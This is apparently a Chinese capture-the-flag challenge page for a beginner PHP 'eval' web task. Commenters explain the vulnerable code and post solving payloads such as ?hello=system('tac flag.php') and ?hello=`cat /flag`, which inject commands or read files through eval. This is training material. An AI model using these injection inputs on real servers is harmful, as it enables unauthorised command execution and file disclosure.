evalWEB 未解决

分数: 15 金币: 1
题目作者: harry
一  血: moren448
一血奖励: 1金币
解  决: 18076
提  示:
描  述:
eval
评论
cattact 3年前

知识点: 1.$a= @$_REQUEST['hello']Request:使用 Request 对象访问任何基于 HTTP 请求传递的所有信息 2.eval("var_dump($a);")就是把$a的内容打印出来 3.file()解释: file(path,include_path,context) 将文件作为一个数组返回。数组中的每个单元都是文件中相应的一行,包括换

回复 3

solomony 3年前

?hello=`cat /flag`

回复 3
karter 3年前

@sxiaobai system函数里的东西要加引号

回复 0

sxiaobai 3年前

为什么?hello=system(cat /flag)不行啊

回复 0

布吉岛 3年前

直接给hello复制传到a上,然后页面会将a的信息显示出来。 ?hello=file('flag.php')

回复 0

bugkiller 3年前

var_dump()方法,判断一个变量的类型与长度,并输出变量的数值,如果变量有值,则输出是变量的值,并返回数据类型。 eval() 函数把字符串按照 PHP 代码来计算。 echo __FILE__ ; // 取得当前文件的绝对地址,结果:D:\www\test.php show_source() 函数对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮。

回复 0

EE0011 3年前

cat:输出,正序 tac:输出,反序

回复 0

Timeover 3年前

$flag = 'Too Young Too Simple' hhh

回复 2

LRWF 3年前

?hello=system('tac flag.php')

回复 0

⎝/fuhry\⎠ 3年前

https://blog.csdn.net/m0_62094846/article/details/120937850?

回复 2

15528731728 3年前

?hello=file("flag.php")

回复 1

anson033 3年前

看了评论也没学会

回复 0

WriteUp

image
harry

1 金币

评分(10)

解题动态

柒柒77 攻破了该题 16分钟前
zz0607 攻破了该题 19分钟前
gongyy 攻破了该题 48分钟前
巴咕噜182 攻破了该题 2小时前
SurPLus007 攻破了该题 2小时前
zhaowenxin 攻破了该题 7小时前
yang0000 攻破了该题 16小时前
Biscuitvv 攻破了该题 16小时前
香蕉君 攻破了该题 19小时前
四叠半神话大系 攻破了该题 21小时前
lnboxue 攻破了该题 21小时前
chi 攻破了该题 22小时前
aboic 攻破了该题 1天前
youbug 攻破了该题 1天前
YYYYHHHHNNNN 攻破了该题 1天前
lance 攻破了该题 1天前
彭彭 攻破了该题 1天前
qwaeawd 攻破了该题 1天前
zzuer 攻破了该题 1天前
chenwei001 攻破了该题 1天前
问题反馈